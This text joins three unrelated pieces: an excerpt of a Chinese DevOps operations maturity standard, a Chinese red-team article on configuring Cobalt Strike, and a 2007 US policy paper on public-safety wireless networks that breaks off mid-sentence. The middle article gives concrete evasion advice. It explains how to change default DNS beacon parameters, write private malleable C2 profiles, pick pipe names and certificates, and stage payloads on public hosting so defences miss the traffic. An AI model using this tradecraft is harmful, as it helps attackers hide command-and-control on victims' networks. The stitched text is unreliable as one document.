——根据影响度和紧急度 划分事件优先级。 ——建立基本的工具记录 事件。 同上一级 ——对不同级别和类别的 事件设定对应的服务级别。 ——建立用户自助 IT 服务 门户。 同上一级 ——分析各类事件的发生 趋势。 ——根据事件处理中影响 度和紧急度的变化,自动调 整事件级别。 ——用户完全感知不到事 件发生,而且 IT 主动引领 业务创新。 8.2.2 事件处理 对照表 25 给定的事件处理能力成熟度分级规则,确定事件处理能力成熟度级别。 表25 事件处理 基础级 增强级 先进级 事件处理 ——统一定义各等级事件 服务级别。 ——设定一、二、三线运维 支持团队。 同上一级 ——重大事件应急处置机 制运行顺畅。 ——明确各团队的 KPI 考 核指标。 同上一级 ——大部分事件可自动修 复。 8.2.3 事件回顾 对照表 26 给定的事件回顾能力成熟度分级规则,确定事件回顾能力成熟度级别。 表26 事件回顾 基础级 增强级 先进级 事件回顾 ——将重大、典型或重复故 障生成问题进行处理,并形 成知识。 同上一级 ——建立专业的知识录入 和分享工具。 同上一级 ——形成的知识库,能录入 自动化工具,实现故障自动 解决恢复。。 8.3 变更管理 T/IAC XXXXX—201X 13 对照表 27 给定的变更管理能力成熟度分级规则,确定变更管理能力成熟度级别。 表27 变更管理 基础级 增强级 先进级 变更管理流程 ——具有规范的变更管理 流程。 同上一级 同上一级 变更管理人员 ——设立变更管理岗位。 ——需要运维现场值守。 ——运维只需要远程值守。 变更管理工具 ——有变更管理系统。 ——变更管理系统支持多 种灰度模式自动变更。 ——全面的自动变更管理 系统。 变更指标 ——变更失败率小于 3%。 ——变更失败率小于 1%。 ——失败变更率小于 0.5%。 8.4 容量和性能管理 对照表 28 给定的容量和性能管理能力成熟度分级规则,确定容量和性能管理能力成熟度级别。 表28 容量和性能管理 基础级 增强级 先进级 容量管理 ——有基本的容量管理活 动。 ——有监控和测试工具。 ——有明确的容量管理制 度。 ——容量管理的每个阶段 都有工具支撑。 ——有明确的容量管理制 度和容量指标识别分析。 ——对每个阶段的数据进 行分析。 性能管理 ——对基础性能指标建立 起有效的管理控制能力。 ——对应用服务、架构、用 户体验等有性能度量。 ——端到端的性能管理能 力,能够进行趋势分析。 8.5 成本管理 对照表 29 给定的成本管理能力成熟度分级规则,确定成本管理能力成熟度级别。 表29 成本管理 基础级 增强级 先进级 决策机构 ——理顺流程,有合理性依 据。 ——颁布预算管理流程规 范。 ——分析总成本、现金流和 产品 KPI 增长是否吻合。 同上一级 ——建立合理的资源量推 导模型和产品指标的预测, 增加预算滚动机制。 ——不同部门、产品预算执 行率分析。 同上一级 ——人工和机器学习同时 优化资源模型,带宽预算使 用正向推导,而不是历史数 据反推。 成本优化 ——建立应用资源使用标 准规范。 ——引入中间件层,应用 层,数据层支持有限水平扩 展能力。 同上一级 ——打通持续交付流程,用 户自助完成测试、生产资源 申请及代码发布。 同上一级 ——进行动态编排,峰值自 动扩容, 峰谷自动缩容。 ——按需交付,自动化工具 部署。 T/IAC XXXXX—201X 14 8.6 连续性和可用性服务 对照表 30 给定的连续性和可用性服务能力成熟度分级规则,确定连续性和可用性服务能力成熟度 级别。 表30 连续性和可用性服务 基础级 增强级 先进级 连续性管理 ——有 IT 连续性管理流 程。 ——有 IT 灾难恢复计划。 ——完全数据备份至少每 月一次,数据同城备份 ——不定期的桌面检查、走 查、模拟演练。 同上一级 ——有业务连续计划。 ——数据异地备份。 同上一级 ——有业务连续性管理。 ——数据多于 2 份备份 ——定期桌面演练、沙盘演 练、模拟演练、部分系统演 习、全面演习 可用性管理 ——同城灾备中心。 ——部分关键 IT 系统高可 用架构设计。 ——实施简单的主动的可 用性管理 ——持续集成失败平均故 障修复时间<8 小时; 同上一级 ——异地灾备中心。 ——个别关键 IT 系统容错 架构设计。 ——主动的可用性趋势分 析,采取主动措施。 ——持续集成失败平均故 障修复时间<4 小时 同上一级 ——分布式多活数据中心。 ——全部 IT 系统高可用架 构设计;大部分关键 IT 系 统容错设计。 ——续集成失败平均故障 修复时间<2 小时。 应用事件管理 ——用户先于维护人员发 现事件,有事件响应团队。 ——有通知和报告的自动 化工具。 同上一级 ——拥有应急预案优先恢 复业务。 ——协同工具进行事件会 诊处理 同上一级 ——事件能事先自动预警, 有事件管理规范并执行,有 各种场景的应急预案。 ——有自动预警的手段,有 事件处理过程的自动化工 具。 8.7 用户体验管理 8.7.1 业务认知 对照表 31 给定的业务认知能力成熟度分级规则,确定业务认知能力成熟度级别。 表31 业务认知 基础级 增强级 先进级 业务认知 ——了解业务流程。 ——有基本的培训。 同上一级 ——掌握核心业务流程。 同上一级 ——精通核心业务流程。 8.7.2 体验优化 T/IAC XXXXX—201X 15 对照表 32 给定的体验优化能力成熟度分级规则,确定体验优化能力成熟度级别。 表32 体验优化 基础级 增强级 先进级 体验优化 ——通过日志发现体验日 常。 ——支持异常体验定位。 ——手工修复体验异常。 ——主动监控发现体验异 常。 ——支持复杂环境下的异 常体验定位。 ——有体验异常决策能力。 ——标准化工具修复体验 异常。 ——端到端的性能管理能 力,能够进行趋势分析。 9 系统和工具能力要求 9.1 项目管理 9.1.1 需求与任务管理平台 平台对项目设计与开发过程中所有需求、计划和任务进行管理。应包含以下基本功能: ——支持优先级设置,不同优先级表示不同严重级别或重要程度; ——支持状态设置与变更,不同状态表明需求、计划和任务所处的阶段。如任务创建于 Open 状 态,然后开始执行/Progress,再到完成/Finished,最后被关闭/Closed。根据情况的不同,用 户可以根据项目来定制状态以及工作流; ——支持分类管理和关键字标识; ——支持可视化面板,可以简单地创建、复制,生成多个面板,面板可以展示项目统计报表。 ——至少支持邮件、RSS、即时通讯中的一种通知方式,能在项目关键阶段自动发送通知。支持非 项目参与人(具有项目权限)关注项目动态并接收到通知。系统页面明显的位置发布最新通知 公告; ——安全与权限。应指定项目负责人,支持项目指派、再指派、认领、二次认领。可以自定义安全 级别,不同用户对项目有不同权限; ——支持项目关联; ——支持项目处理流程跟踪; ——支持搜索。 9.1.2 文档与知识管理平台 文档是产品交付的核心研发资产之一。常见文档类型包括架构设计文档、用户帮助手册、系统原型 文档等。应包含以下基本功能: ——支持用户按照一定的目录结构对各种文档进行分门别类地管理; ——支持通过拖拽方式批量上传本地目录或文件至文档管理服务中; ——支持批量下载文档; ——支持常见格式文档的在线预览; ——支持文档版本管理,用户可以选择文档的某个版本进行过查看、下载等操作; ——支持搜索功能,用户可以通过文件名、关键字等快速查找到所需的文档; T/IAC XXXXX—201X 16 知识管理涵盖产品交付过程中个人或者团队的各种知识内容,例如会议纪要、版本ReleaseNotes、 技术分享等。应包含以下基本功能: ——支持词条创建、编辑、分类和分享; ——支持多人协同编辑; ——支持搜索; ——可导出为常见文档格式(例如Word、PDF、PPT等); ——支持上传常见文档格式的附件(例如Word、PDF、PPT等); ——宜支持Wiki、Markdown格式。 9.1.3 统计度量 统计度量是对DevOps过程的进度、质量、效率相关数据化指标展示。应包含以下基本功能: ——进度相关指标:需求累计流图、缺陷趋势图、需求完成数、新建缺陷数; ——代码内在质量相关指标:包括但不限于代码质量、千行代码bug率、缺陷Reopen率、测试通过 率; ——交付外在质量相关指标:包括但不限于故障率、线上问题率、发布回滚率; ——需求交付时长相关指标:需求从提交到交付的时长; ——缺陷解决时长相关指标:包括但不限于缺陷从创建到关闭的平均时长,表征解决缺陷的效率; ——代码交付时长相关指标:代码从提交到交付的时长; ——人效相关指标:对使用人员的基本产出能力度量,包括但不限于完成需求数、解决缺陷数、完 成任务数、提交代码量。 9.2 开发管理 9.2.1 代码管理平台 应包含以下基本功能: ——版本仓库:支持版本仓库的建立、删除、分类、复制、派生、限额、扩容、共享与可见范围; ——分支管理:支持分支的创建、删除、追溯、分类和识别; ——权限管理:支持权限的分级,如查看、提交、合并主干等权限; ——变更与合并管理:支持变更的追溯和回滚,支持合并的追溯; ——基线管理:支持基线的创建、删除、追溯、分类和识别; ——代码Review:支持Review的发起和管理; ——存储和备份:支持支持代码的存储和备份; ——安全保障:账号具有唯一性;支持重要操作保护;支持日志审计与回溯。 9.2.2 代码质量管理 代码质量管理提倡用代码检查工具在开发阶段发现缺陷,让缺陷在最短路径闭环,提升开发效率, 节省开发成本。应该包含以下基本功能: ——支持Java、C/C++、JavaScript、PHP等多种主流编程语言的代码质量检测; ——持续检查,能够提供代码缺陷概览,并实时跟踪新增代码引入的缺陷、已有缺陷修复情况; ——集成到整个DevOps工具链中,定时/实时自动化开展; ——代码质量符合度标准应不断审视和优化,能够看到项目的持续改进; ——项目核心代码工具检查覆盖率为100%; T/IAC XXXXX—201X 17 ——代码质量报告能够自动生成,要求有新增缺陷,修复缺陷,遗留缺陷以及相关趋势等量化质量 指标; ——能够看到项目组制定的缺陷修复计划和行为,遗留缺陷趋势保持收敛下降。 9.3 集成与部署管理 9.3.1 持续集成 应包含以下基本功能: ——保存多个构建项目; ——设置代码仓库地址,以及拉取源代码的凭据; ——设置一个或多个构建命令; ——支持多种源代码语言的编译; ——支持多种源代码托管软件; ——设置自动触发条件:定时触发,源代码变更触发; ——构建项目应该含多个执行记录; ——构建执行记录展示记录状态,以及结果; ——构建执行记录展示构建过程产出的日志。 9.3.2 制品管理 制品管理是对软件研发过程中生成的产物的管理,一般作为最终交付物完成发布和交付。 制品即 构建过程的输出物,包括软件包,测试报告,应用配置文件等。应包含以下基本功能: ——支持npm、bower、rpm等更多种类的制品类型; ——为制品添加元数据信息; ——使用制品的审计日志; ——基本的权限管理; ——检索制品; ——备份和恢复。 9.3.3 部署管理 应包含以下基本功能: ——自动打包; ——支持编排部署步骤,可以根据业务场景自定义部署流程; ——可视化:仪表盘支持显示部署活动状态等内容; ——支持Docker等多种部署运行方式; ——支持部署活动审计,日志信息可发送到日志分析系统; ——API接口:支持应用系统调用部署系统能力进行部署。 9.3.4 发布管理 发布管理是将通过构建的程序,发布到软件环境中。应包含以下基本功能: ——发布规划,规划软件程序的整体发布计划,包含但不限于:发布窗口、发布策略、发布执行、 发布确认,以及发布风险的预估; ——发布窗口,程序发布的具体日期时间; T/IAC XXXXX—201X 18 ——发布策略,通过选择进行发布的实例、发布并发度、超时时间、暂停点、软件版本等发布的具 体策略,执行对应的发布动作;发布策略包含并不限于原地发布、金丝雀发布、蓝绿发布等; ——发布执行,自动化地执行发布策略,如策略中有暂停点,应验证后继续执行发布; ——发布确认,通过发布规划中软件发布的确认点,进行发布确认,如与预期不一致,可快速回滚 到发布前的软件版本。 9.3.5 环境管理 环境管理是一种配置管理活动,确保应用在多个环境之间达到持续交付的目的。应包含以下基本功 能: ——可以定义不同的环境类型(开发、测试、预发布及生产环境); ——可以定义不同的环境依赖资源信息及其配置,比如主机、容器集群、DNS、中间件、其他基础 设施服务等; ——可以根据环境的配置快速生成交付环境; ——可以让环境的配置信息存储在构件库中,版本化控制配置信息; ——可以支持应用运行的环境是静态主机集群或者是动态的容器集群; ——可以支持不同的应用有不同的基础设施及服务依赖; ——可以支持不同的对象分块构建,比如说构建基础设施、构建中间件或者操作系统环境等; ——可以支持不同的环境采用不同的构建技术,比如说虚拟化、容器等等,但测试环境和生产环境 必须类似; ——可以支持环境的配置信息与应用或者项目关联; ——对环境提供监控功能。 9.4 测试管理 9.4.1 用例管理 用例管理是对用例集、子用例集和用例的管理活动。应包含以下基本功能: ——用例集中可以包含多个用例和子用例集; ——树形展示用例集中包含的用例和子用例集,子用例集可以逐层下钻; ——设置用例集、子用例集的名称、标签、状态; ——设置用例名称、描述、标签、状态、优先级、是否自动化、设计人员; ——设置用例的测试步骤,包括步骤描述、输入测试数据,期望结果; ——设置用例集、子用例集、用例和需求、特性、故事的关联; ——设置自动化测试用例和测试脚本的关联。 9.4.2 缺陷管理 缺陷管理是指在软件生命周期中识别、管理、沟通任何缺陷的过程,确保缺陷从被识别到解决关闭 的过程被跟踪管理而不丢失。应包含以下基本功能: ——描述缺陷内容,支持上传视频、图片等附件; ——标记缺陷优先级; ——将缺陷指派给特定的人; ——标记缺陷的不同状态,状态覆盖从新建到解决关闭的整个过程; ——可添加评论; ——指派缺陷、更改缺陷状态,发送消息给相关人员; T/IAC XXXXX—201X 19 ——可按照指派人、优先级、当前状态等维度过滤缺陷; ——更新状态的操作有权限控制,缺陷要进入不同的状态需要特定角色或特定人员才能操作; ——区分缺陷的解决状态和关闭状态,开发人员标记为已解决的缺陷,被验证后再关闭; ——缺陷可关联到修复该缺陷的代码。 9.4.3 测试数据管理 测试数据管理是指在测试过程中完成数据收集、生成、维护、自动化的过程。应包含以下基本功能: ——数据仓库,支持用户存储、扩充、共享和重用测试数据集,以提高测试效率; ——测试数据生成:当生产数据不能直接用来进行测试时,为测试提供按需创建的生产质量数据, 允许测试人员根据业务规则和限制条件快速创建复杂的数据集; ——支持敏感数据发现与脱敏。通过降低数据敏感性、匿名化敏感数据、对数据进行假名处理等手 段,创建可在内外部安全共享的真实匿名化数据,避免敏感数据泄露; ——支持在多应用系统和数据库中创建和管理数据子集,减少测试数据占用的空间和存储时间。 9.4.4 静态代码检查 静态代码检查是持续交付流水线中的一个重要环节,利用商用/开源/自研的代码检查工具在开发阶 段发现缺陷,让缺陷在最短路径闭环。应包含以下基本功能: ——对代码进行静态扫描,发现代码缺陷、安全漏洞及编程规范、重复代码、复杂度高等代码坏味 道问题; ——能够自动触发/立即分析/定时开展,实时展示扫描进展状态,及时反馈代码检查结果; ——方便查看告警及错误代码片段,提供规则描述及告警修复指导; ——检查结果有优先级/严重程度的划分,能跟踪到状态; ——支持检查规则配置,支持单个告警/批量告警/告警路径屏蔽等功能; ——自动生成代码检查报告,有新增/修复/遗留告警等质量度量指标; ——多种工具检查结果能够整合展示在报告中便于开发团队修复。 9.4.5 性能测试 应包含以下基本功能: ——支持性能测试项目的测试脚本、测试结果、测试报告的基本管理功能; ——支持主流测试协议; ——支持负载参数集读取数据文件功能; ——支持负载参数集自动生成序列数字、随机数字等功能; ——负载参数集数据读取支持:顺序、随机、数据文件读取、数据文件分段读取、文件读取的功能; ——支持脚本逻辑控制功能,脚本编辑功能; ——支持性能测试结果数据输出,包括测试发送数据及服务端响应数据等; ——支持思考时间设置功能; ——支持请求超时、响应超时设置功能; ——支持性能测试执行过程中服务端回送数据正确性检查的功能; ——支持长连接、短连接设置; ——支持数据上下文关联的功能; ——支持性能测试场景设置功能,性能场景:性能测试过程中模拟真实用户的服务流程或业务处理 过程的一系列动作的集合; ——支持性能测试指标数据实时输出的功能; T/IAC XXXXX—201X 20 ——支持性能测试报告查看及导出功能; ——支持采集性能监控指标的功能; ——支持性能测试过程中各类错误显示、汇聚的功能; ——HTTP、HTTPS协议应支持GET、POST方法的测试; ——支持HTTP协议COOKIE设置。 9.5 技术运营管理 9.5.1 CMDB 配置管理数据库(CMDB)存储与管理企业IT架构中设备的配置信息。应包含以下基本功能: ——可视化管理:能够可视化展示拓扑信息、资源数量、资源使用情况、资源变化趋势等内容; ——数据的导入和导出:支持通过Excel等形式导入配置信息,提供表格导出; ——建立自定义CI来定义及管理需要的对象; ——属性自定义:用户可以选择需要展示的属性字段,也可以增加平台没有的属性字段; ——分类管理:可从业务、集群等多种维度进行分类管理; ——操作审计:用户操作记录可追溯; ——资源自动发现; ——分钟级配置数据一致性校验; ——API接口:通过接口保证CMDB数据的一致性。 9.5.2 作业平台 应包含以下基本功能: ——脚本管理:支持脚本的新建、自动执行、编辑和删除,可以通过手动编写、上传、已有脚本克 隆等方式导入脚本; ——支持大文件拉取/分发,支持本地上传和服务器上传两种方式; ——支持多个脚本或文件分发的节点串接组合后执行; ——常用作业执行,可对已保存作业任务进行“执行、克隆、编辑、定时、删除”等操作; ——支持高并发执行任务; ——支持秒级定时任务; ——API接口:提供API接口供其他系统或平台调度; ——操作审计:能够对脚本执行、文件分发、API调用、定时任务等操作进行记录和追溯。 9.5.3 监控管理 应包含以下基本功能: ——指标收集:支持服务器、虚拟机、网络设备等多种设备,保险业务系统、内外部接口(如保 险承保、支付确认)等多种系统和应用程序的监控,能够自动完成指标采集; ——问题检测:支持自定义阈值、策略,自动检测采集指标的问题状态; ——可视化管理:通过仪表盘、网络图、表格等形式呈现监控对象环境状态; ——自动发现:能够主动代理、自动注册; ——通知:至少支持邮件、RSS、即时通讯中的一种通知方式,能在出现问题时及时发送通知。 9.5.4 日志分析 应包含以下基本功能: T/IAC XXXXX—201X 21 ——日志采集与存储:支持采集服务器、网络设备、保险业务系统、内外部接口的日志,留存 取证; ——快速搜索查询:支持海量日志快速和多维度查询,包括范围查询、正则表达式、模糊匹 配等方式。能够对查询字段进行定位日志上下文; ——核心业务统计分析:支持多种统计分级函数。能够对理赔、续保等保险核心系统的业务进行汇 总和分析,生成业务统计报表,支持通过接口调用,作为决策依据,为问题排查提供参考信息; ——用户画像:掌握用户特征,能够对用户偏好做出反应和判断; ——可视化报表。
pdf
做红队你需要学习“如何挖掘战壕”(三) 0x00 前言 在前两篇的文章中,我们先是分析了红队基础设施架构,并指出构成的3大元素:ip和域名、C2工具、 前置器,然后我们在第二篇文章中针对ip和域名的选择做了分享。这是第三篇,我们将是分析C2工具, 这儿的C2工具主要使用的是CobaltStrike。CobaltStrike功能强大,此处仅分析和我们红队基础设施相关 的部分。 0x01 Payload加载流程 为什么红队基础设施要讲Payload加载呢?因为这涉及到Payload分段加载和放置位置的问题。如果 Payload使用分段加载一定要注意远程下载Payload的时候。Payload不一定是放置在TeamServer服务 器上的,也有可能是其他公开服务上,例如:阿里云代码库、Github、QQ空间等等。因此明白了CS关 于植入体的加载流程,既能方便我们定制化植入体,也能方便基础设施灵活部署。 关于CS的Payload加载,首先我们需要知道CS植入体的组成,CS植入体的组成抽象出来就是 Loader+shellcode的组合。在CS中loader包含2种: 一种是powershell,也就是你使用Attacks-->Packages-->Payload Generator- >Output(PowerShell/PowerShell Command),这样生成的是一个植入体(Loader+shellcode),不过 Loader是一段Powershell代码。上面路径种Output如果选其他的语言,那么生成的就仅仅是shellcode 了,需要自行编写Loader执行shellcode。 另外一种是可执行的文件,使用Attacks-->Packages-->Windows Executeable/Windows Executeable(S)生成的植入体,使用的是C编写的Artifact作为Loader,形式上可以是exe、DLL,作者也 提供了ArtifactKit的源码,方便我们编写这个Loader。 这样的植入体,在目标机器上执行的时候,都会去下载Beacon.dll。而Windows Executeable(S)生成 的植入体为Stageless植入体,也就是说包含了Beacon.dll,这样的植入体就不会去下载Beacon.dll了。 具体如图所示: 在CS中还提供了Scripted Web Delivery功能,允许URL远程下载可以执行文件或脚本。CS在植入体这 块儿提供了极大的灵活性和自定义性,方便我们和多种外部技术协助,例如:白利用、自研Loader、 Word宏等等。 AttackTeamFamily No. 1 / 4 - www.red-team.cn 0x02 CS的通信协议 DNS协议 在CS中包含了HTTP(S)、DNS、TCP、SMB四种协议,同时也支持自定义协议。在这儿主要分析 HTTP(S)、DNS的使用,因为TCP、SMB主要用作内网横向使用,自定义协议也不在本文分析范畴。 首先是DNS协议,这个协议在当前的CS4.3版本中做了强化,我们看下具体参数: 首先我们关注默认参数,默认参数必须修改,这一定是防御产品的重要指标。从防御的角度出发,DNS 通道的防御,主要以频率、数据特征、数据大小等异常行为为主,现在再加入机器学习,就更是难搞 了,因此默认指标必须修改,下面说几个特别重要的: dns_idle,没有任务时解析的IP,解析到一个任意白IP,什么叫白IP,请阅读上一篇文章 dns_max_txt,DNS TXT的大小,我是建议100以下。 dns_sleep,DNS请求间隔时间,我个人是2-5秒之间。 maxdns,hostname最大长度,我一般是60以下。 其他指标,模仿正常数据,例如:子域名经常出现api、cdn、js等等,TXT记录中,经常出现SPF、 DKIM之类的。 如果按照我建议的设置DNS通道,你会发现奇慢无比,可能一条命令,半个小时。在第一篇中我就说 过,DNS记录容易被检测,不要用作命令通道,可以用作潜伏通道,但是也有例外,就是实战中,只有 DNS出网,没有办法,在确认了防御设备情况后,再使用DNS做命令通道,做命令通道时调整以上参数 的大小,加快DNS通道的速度。DNS通道绝对不适合做数据通道,数据密取一般都不小,你搞DNS通道 传,基本等于自杀。 HTTP(S)协议 HTTP(S)协议才是CS的主要协议,你基本90%的时间在使用这个协议。CS提供了强大的流量自定义功 能,主要是在C2profile中配置。相对于DNS协议的配置,HTTP(S)的配置大家应该熟悉不少,因为目前 情况下,不配置C2prodile,基本不可能过防御设备。网上公布的C2profile也是防御设备提取特征的重 要来源,因此也不能用。所以学习C2profile的配置非常重要。具体配置,各位去https://www.cobaltstri ke.com/help-malleable-c2学习。我这里只说一些重要的和一些注意事项。 AttackTeamFamily No. 2 / 4 - www.red-team.cn data_jitter,调整数据回传的大小为随机。 jitter,随机心跳 pipename和pipname_stager,这个必须改成市面上没有被特征提取过的,不然你想使用SMB做内 网横向的时候基本都会失败,不过由于445被各种搞,smb beacon内网横向效果大不如从前,还 是直接使用TCP beacon为好,配置tcp_frame_header,效果还是不错的。 其他的应该都很好理解,就不多说了。还有设计到HTTP包的一些编码解码,header自定义、ssl证书等 等,请阅读https://www.cobaltstrike.com/help-malleable-c2。还是那句话,CS发展到现在,默认情况 下的特征被防御软件提取的死死的。但是CS依旧能够活跃,依旧是当今世界红队使用最多的C2工具,是 因为它的高度自定义性。同样的CS在不同人手里会是2个工具。 在这部分有2个tips: 如果前置用了CDN,此表中的uri、uri_x86、uri_x64中的文件后缀不要用js、css等会被CDN缓存的 静态文件,导致通信出问题。 使用HTTPS的时候,付费证书>免费证书>自签名证书(如果使用Cloudflare,证书就是CF的证 书),使用CDN证书和免费证书前,最好测试是否被防御设备拦截,我有一次就遇到过拦截cf免费 证书的case。 最后,配置HTTP请求和响应的收遵循尽量模仿真实用户访问web的交换流程,以混淆视听,真假美猴王 的原则制作自己的c2profile,自己常用的c2profile,一定不要公开,或多人共用,一不小心被定义成某 APT你就扯淡了。 CS4.3加入了回连主机轮询的功能,使用不同策略轮询回连,例如:随机选一个主机回连,顺序轮询等 等。在这儿我想说,深刻理解CS,定制化CS,比自己去写C2是更好的选择,毕竟每个人自己的一线打仗 经验比不上一群人的一线打仗经验。 0x03 总结 “如何挖战壕”的这一部分,没有太多新奇内容,考研的是细致和对C2工具的理解深度,以及流量设备防 御的手法的研究。重头戏还是前置器,前置器才是和目标直接接触的组件。各种各样的前置方案也是一 线对抗最激烈的部分之一。前置器也是这个系类的最后一个篇文章,希望下周末能够写出来。 AttackTeamFamily No. 3 / 4 - www.red-team.cn AttackTeamFamily No. 4 / 4 - www.red-team.cn
pdf
Policy Backgrounder Wireless Public Safety Data Networks Operating on Unlicensed Airwaves: Overview and Profiles By Naveen Lakshmipathy∗ Updated – March 2007 From the firefighters who died on 9/11 to the rescue workers struggling to help victims of Hurricane Katrina, recent crises have demonstrated that the absence of reliable and interoperable voice and data communications among public safety agencies is an urgent national dilemma. While the need for voice interoperability among first responders is a fundamental and long-standing public safety issue that must be resolved in a timely manner, many communities across the nation have already begun to supplement their voice communication networks with wireless broadband data networks operating over unlicensed spectrum—most notably the 2.4 GHz “Wi-Fi” band. These cutting-edge mobile high-speed data networks complement voice systems and serve as a cost- effective means to deliver applications such as streaming video for surveillance and disaster response, fast downloads of suspect mug shots or building blueprints, and access to public safety databases. By providing first responders with more resources in the field—and reducing the time they need spend in the office – these wireless data networks act as a “force multiplier,” improving overall public safety. From TV to Public Safety America’s upcoming transition to digital television (DTV) offers the potential both to solve the voice interoperability problem once and for all, as well as to foster the development of high- quality, high-speed wireless data networks, by freeing up valuable and desperately needed airwaves in the prime 700 MHz TV band spectrum. These airwaves travel farther using less power and better penetrate through obstacles—which would significantly boost the quality and reduce the cost of deploying community, municipal, and regional wireless broadband networks which could be utilized for public safety. Today, such networks primarily utilize the crowded 2.4 GHz Wi-Fi band, which has less favorable propagation characteristics than the lower-frequency 700 MHz TV bands. The DTV transition involves the future use of two different sets of frequencies (channels) that are currently underutilized by TV broadcasting: channels 2-to-51 and channels 52-to-69. ∗ Naveen Lakshmipathy is a Senior Program Associate at the New America Foundation. J.H. Snider, Michael Calabrese, and Jeff Meyer of the New America Foundation, and Ryan E. Chesley of Free Press contributed to this report. 2 After the DTV transition is complete, channels 2-to-51 will remain allocated to DTV. However, because an average of only seven full-power local TV broadcast stations operate in each of the nation’s 210 local TV markets, the TV band will continue to have many vacant, unassigned channels (known as TV “white spaces”) even after the DTV transition. Congress has recognized that opening vacant, unassigned channels between channels 2 and 51 for unlicensed access would foster the development of commercial and community wireless broadband networks as well as data networks for public safety agencies. See below for profiles of jurisdictions that are currently utilizing wireless broadband data networks operating on unlicensed spectrum for public safety applications. Bipartisan bills directing the FCC to complete its long-standing proceeding to open the TV white spaces for unlicensed use (Docket 04-186) have been introduced in both houses of Congress. Senators John Kerry (D-MA) and Gordon Smith (R-OR) have introduced a Senate bill, and Representatives Jay Inslee (D-WA) and Nathan Deal (R-GA) have introduced a House bill, both entitled “The Wireless Innovation Act of 2007.” These bills resume last year’s bipartisan Congressional push to open up the white spaces (last year’s Senate bill was approved by the Commerce Committee, but failed to reach a full floor vote). At the completion of the DTV transition, channels 52-to-69 are set to be cleared of broadcasting entirely and reallocated for public safety agencies and for auction to commercial wireless services. Congressional budget legislation focusing on the DTV transition, passed in both houses in 2006, imposes a hard deadline of February 17, 2009 for the clearance of channels 52-to-69. According to the FCC’s current plan, 24 MHz, or four TV channels (63, 64, 68 and 69), will be allocated to public safety agencies in harmonized, nationally-contiguous bands that will be used primarily for interoperable voice communication between first responders of different jurisdictions. The rest of the channels are currently set to be auctioned to commercial wireless service providers. Several private enterprises, most notably Frontline Wireless, LLC, and Cyren Call, Inc., have proposed plans to utilize portions of this returned TV band spectrum to deploy nationwide wireless broadband networks for shared use by public safety and commercial services. These proposals operate from the principle that although public safety systems must be designed for peak demand, actual demand is, at most times, far below that. Regardless of the strengths and weaknesses of the individual proposals, they show that public safety and commercial users can efficiently share physical networks, with public safety users getting priority, thereby ensuring adequate communications capacity in an emergency. This is not only an efficient use of wireless broadband spectrum, but it would also allow public safety to share infrastructure financed by commercial entities. Several jurisdictions profiled below have already demonstrated this efficiency using municipal and regional wireless data networks operating on unlicensed spectrum. As broadband data applications become an even more critical part of public safety communications, access to more and better spectrum and networks becomes critical. This can potentially come through proposals for nationwide networks on licensed spectrum such as those discussed above – or by allowing unlicensed access to the vacant TV channels between 2 and 51 on a market-by-market basis for the development of community, municipal, and regional wireless broadband networks. The latter option holds the promise of opening up considerable amounts of prime spectrum, particularly in rural and small town markets, for both public access and for public safety, while not reducing the availability of returned 700 MHz spectrum for auction to commercial wireless providers. The following snapshots convey just a few examples of the multitude of ways in which communities around the country are already utilizing today’s extremely limited amount of unlicensed public airwaves below 3 GHz for public safety broadband data networks: 3 Examples of Public Safety Wireless Broadband Data Networks on Unlicensed Airwaves Corpus Christi, Texas Type of Implementation: 2.4 GHz Wireless Mesh Network Service Area: 147 Square Miles Application(s): see below Corpus Christi, a city of 293,000 located on the Gulf of Mexico, recently completed a multipurpose wireless broadband network. Public safety officers are among the primary users of the network. Indeed, the new network enables a multitude of applications to enhance public safety, including: • Aerial Video Surveillance: The city’s Aerial Video Surveillance is designed to enable officials to see a live aerial view of a situation—such as a major fire or sporting event— or for routine surveillance. In such a system, an “eye in the sky” (a video camera mounted on a five-foot-long unmanned helicopter) transmits video images back to the ground via the city’s wireless mesh network. • Automated Vehicle Location: The city’s Automated Vehicle Location is deployed in 140 of its police vehicles and 50 of its Fire and EMS vehicles. AVL uses global positioning system (GPS) technology to pin-point location, elevation, and velocity of these vehicles. Public safety officials can track the position of public safety vehicles on a map located at each dispatching station. • Emergency Disaster Response: Trailer-mounted communications towers that run on solar power are designed to be set up at the scene of a major accident or fire, or other disaster area that is located outside the reach of the city’s wireless network. These “towers on wheels” can link with the city’s network and provide public safety officials a way to use devices—such as handheld PDAs, emergency VoIP phones, and video surveillance cameras—in areas where communications infrastructure has been damaged. • Mobile Data Computers: More than 100 of the city’s public safety vehicles are equipped with mobile data computers. These computers use the city’s wireless network to run high-end applications such as in-car streaming video and car-to-car messaging. They also allow officials access to sex offender databases, mug shots, and satellite imagery. • Electronic Field Study: The city’s wireless network can allow police and fire officials to view images of a location—such as maps and building floor plans—in their vehicles, allowing them to make logistical decisions before they arrive at the scene. Washington, DC Type of Implementation: 700 MHz Wireless Broadband System on Experimental License Application: Mobile broadband access for law enforcement The District of Columbia has been piloting the Wireless Accelerated Responder Network (WARN) since January 2005. Operating on the 700 MHz band utilizing an experimental license granted by the FCC, the system shows the potential benefits of deploying a network in the beachfront TV band spectrum. No more than 120 access points are required to cover the entire District of Columbia with access to WARN, as compared to the approximately 37,000 sites that would be needed to cover the same area on the 4.9 GHz public safety licensed band. WARN was implemented to test a host of broadband data applications for public safety. These include creating ad hoc video surveillance networks in areas that need monitoring, broadband data access for squad cars and other mobile units, even remote analysis of suspicious packages using specially equipped HAZMAT suits. The network boasted 99.7% availability in 2005, and offers average connection speeds of 3 Mbps downstream, and 300 kbps upstream. San Mateo, California Type of Implementation: 2.4 GHz Wireless Mesh from Tropos Networks Application: Mobile broadband access for law enforcement San Mateo was the nation’s first municipality to use a citywide Wi-Fi network for public safety purposes. The mesh network provides police vehicles mobile access to critical law enforcement applications. Using laptops in their vehicles, officers have wireless broadband access to LAWNET, a county-wide Intranet for law enforcement that connects officers to the Amber Alert System, the Sex Offender Database and other databases. From anywhere in the hot zone, officers can now download DMV records, including high resolution photos, conduct in-field photo lineups, and perform other tasks that previously required them to return to headquarters. In the future, officers will have access to live video feeds of security cameras and access to the city’s Geographic Information System (GIS). The network, operating entirely on unlicensed spectrum, is providing a significant return on investment by keeping police officers in the field 1.5 hours longer per shift. Morrow and Umatilla Counties, Oregon Type of Implementation: 2.4 GHz Proxim Tsunami Broadband Wireless Access System Service Area: 600 Square Miles in Morrow and Umatilla Counties Application: Public Safety First-Responders System In a county without a single traffic light, the Morrow County Emergency Management Department has built a 600-square-mile wireless broadband network to monitor the region surrounding the Umatilla Chemical Depot, a U.S. Army-built storehouse for the destruction of chemical 